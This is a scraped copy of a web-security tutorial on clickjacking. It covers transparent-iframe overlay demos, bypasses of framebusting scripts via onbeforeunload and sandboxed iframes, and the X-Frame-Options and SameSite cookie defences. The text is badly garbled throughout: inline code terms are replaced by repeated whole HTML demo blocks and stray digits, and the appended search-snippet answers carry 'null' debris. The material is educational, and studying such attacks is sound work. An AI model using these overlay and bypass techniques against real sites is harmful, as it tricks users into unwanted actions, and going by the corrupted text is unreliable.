If top.location self.location top.location self.location năm 2024

Many sites were hacked this way, including Twitter, Facebook, Paypal and other sites. They have all been fixed, of course.

The idea is very simple.

Here’s how clickjacking was done with Facebook:

  1. A visitor is lured to the evil page. It doesn’t matter how.
  2. The page has a harmless-looking link on it (like “get rich now” or “click here, very funny”).
  3. Over that link the evil page positions a transparent

    <!DOCTYPE HTML> <html> <body style="margin:10px;padding:10px"> <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !"> </body> </html>

    5 with

    <!DOCTYPE HTML> <html> <body style="margin:10px;padding:10px"> <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !"> </body> </html>

    6 from facebook.com, in such a way that the “Like” button is right above that link. Usually that’s done with

    <!DOCTYPE HTML> <html> <body style="margin:10px;padding:10px"> <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !"> </body> </html>

    7.
  4. In attempting to click the link, the visitor in fact clicks the button.

Here’s how the evil page looks. To make things clear, the

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

5 is half-transparent (in real evil pages it’s fully transparent):

<style>
iframe { /* iframe from the victim site */
  width: 400px;
  height: 100px;
  position: absolute;
  top:0; left:-20px;
  opacity: 0.5; /* in real opacity:0 */
  z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>

The full demo of the attack:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

Here we have a half-transparent

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

9, and in the example we can see it hovering over the button. A click on the button actually clicks on the iframe, but that’s not visible to the user, because the iframe is transparent.

As a result, if the visitor is authorized on Facebook (“remember me” is usually turned on), then it adds a “Like”. On Twitter that would be a “Follow” button.

Here’s the same example, but closer to reality, with

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

0 for

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

5:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

All we need to attack – is to position the

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

5 on the evil page in such a way that the button is right over the link. So that when a user clicks the link, they actually click the button. That’s usually doable with CSS.

Clickjacking is for clicks, not for keyboard

The attack only affects mouse actions (or similar, like taps on mobile).

Keyboard input is much difficult to redirect. Technically, if we have a text field to hack, then we can position an iframe in such a way that text fields overlap each other. So when a visitor tries to focus on the input they see on the page, they actually focus on the input inside the iframe.

But then there’s a problem. Everything that the visitor types will be hidden, because the iframe is not visible.

People will usually stop typing when they can’t see their new characters printing on the screen.

The oldest defence is a bit of JavaScript which forbids opening the page in a frame (so-called “framebusting”).

That looks like this:

if (top != window) {
  top.location = window.location;
}

That is: if the window finds out that it’s not on top, then it automatically makes itself the top.

This not a reliable defence, because there are many ways to hack around it. Let’s cover a few.

We can block the transition caused by changing

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

3 in event handler.

The top page (enclosing one, belonging to the hacker) sets a preventing handler to it, like this:

window.onbeforeunload = function() {
  return false;
};

When the

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

4 tries to change

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

3, the visitor gets a message asking them whether they want to leave.

In most cases the visitor would answer negatively because they don’t know about the iframe – all they can see is the top page, there’s no reason to leave. So

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

3 won’t change!

In action:

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <div>Changes top.location to javascript.info</div>
  <script>
    top.location = 'https://javascript.info';
  </script>
</body>
</html>
<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 0;
      left: -20px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <script>
    function attack() {
      window.onbeforeunload = function() {
        window.onbeforeunload = null;
        return "Want to leave without learning all the secrets (he-he)?";
      };
      document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
    }
  </script>
</head>
<body>
  <p>After a click on the button the visitor gets a "strange" question about whether they want to leave.</p>
  <p>Probably they would respond "No", and the iframe protection is hacked.</p>
  <button onclick="attack()">Add a "protected" iframe</button>
</body>
</html>

One of the things restricted by the

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

7 attribute is navigation. A sandboxed iframe may not change

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

3.

So we can add the iframe with

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

9. That would relax the restrictions, permitting scripts and forms. But we omit

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

0 so that changing

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

3 is forbidden.

Here’s the code:

<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>

There are other ways to work around that simple protection too.

The server-side header

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

2 can permit or forbid displaying the page inside a frame.

It must be sent exactly as HTTP-header: the browser will ignore it if found in HTML

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

3 tag. So,

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

4 won’t do anything.

The header may have 3 values:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

5 Never ever show the page inside a frame.

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

6 Allow inside a frame if the parent document comes from the same origin.

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

7 Allow inside a frame if the parent document is from the given domain.

For instance, Twitter uses

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

8.

Here’s the result:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

0

Depending on your browser, the

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

4 above is either empty or alerting you that the browser won’t permit that page to be navigating in this way.

The

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

2 header has a side effect. Other sites won’t be able to show our page in a frame, even if they have good reasons to do so.

So there are other solutions… For instance, we can “cover” the page with a

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

1 with styles

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

2, so that it will intercept all clicks. That

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

1 is to be removed if

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

4 or if we figure out that we don’t need the protection.

Something like this:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

1

The demo:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

2

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

3

The

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

5 cookie attribute can also prevent clickjacking attacks.

A cookie with such attribute is only sent to a website if it’s opened directly, not via a frame, or otherwise. More information in the chapter .

If the site, such as Facebook, had

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

5 attribute on its authentication cookie, like this:

<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
  <input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>

4

…Then such cookie wouldn’t be sent when Facebook is open in iframe from another site. So the attack would fail.

The

<!doctype html>
<html>
<head>
  <meta charset="UTF-8">
</head>
<body>
  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 0;
      z-index: 1;
    }
  </style>
  <div>Click to get rich now:</div>
  <!-- The url from the victim site -->
  <iframe src="facebook.html"></iframe>
  <button>Click here!</button>
  <div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>

5 cookie attribute will not have an effect when cookies are not used. This may allow other websites to easily show our public, unauthenticated pages in iframes.

However, this may also allow clickjacking attacks to work in a few limited cases. An anonymous polling website that prevents duplicate voting by checking IP addresses, for example, would still be vulnerable to clickjacking because it does not authenticate users using cookies.

Clickjacking is a way to “trick” users into clicking on a victim site without even knowing what’s happening. That’s dangerous if there are important click-activated actions.

A hacker can post a link to their evil page in a message, or lure visitors to their page by some other means. There are many variations.

From one perspective – the attack is “not deep”: all a hacker is doing is intercepting a single click. But from another perspective, if the hacker knows that after the click another control will appear, then they may use cunning messages to coerce the user into clicking on them as well.

The attack is quite dangerous, because when we engineer the UI we usually don’t anticipate that a hacker may click on behalf of the visitor. So vulnerabilities can be found in totally unexpected places.

What is an example of clickjacking?

Consider the following example: A web user accesses a decoy website (perhaps this is a link provided by an email) and clicks on a button to win a prize. Unknowingly, they have been deceived by an attacker into pressing an alternative hidden button and this results in the payment of an account on another site.nullWhat is Clickjacking? Tutorial & Examples | Web Security Academyportswigger.net › web-security › clickjackingnull

How do you defend against clickjacking?

Using the SAMEORIGIN option to defend against clickjacking X-Frame-Options allows content publishers to prevent their own content from being used in an invisible frame by attackers. The DENY option is the most secure, preventing any use of the current page in a frame.nullWhat is Clickjacking | Attack Example | X-Frame-Options Pros & Conswww.imperva.com › learn › application-security › clickjackingnull

What is top location href?

document.domain - Get the domain name of the server that loaded the document. window.location.href - Get the location of the current page. top.location.href - Within the windows of the current page, get the location of the top window. If there is no parent, it returns the current window.nullServiceNow Communitywww.servicenow.com › community › developer-forum › gs-setredirecturl-...null

Is clickjacking a serious vulnerability?

In conclusion, clickjacking is a serious threat to internet users that can lead to unauthorized actions and sensitive data exposure. It is essential to safeguard against clickjacking by understanding how it works, identifying vulnerabilities, and taking necessary precautions to protect against it.nullClickjacking: Understanding vulnerability, attacks and preventionwww.akto.io › blog › clickjacking-understanding-vulnerability-attacks-and...null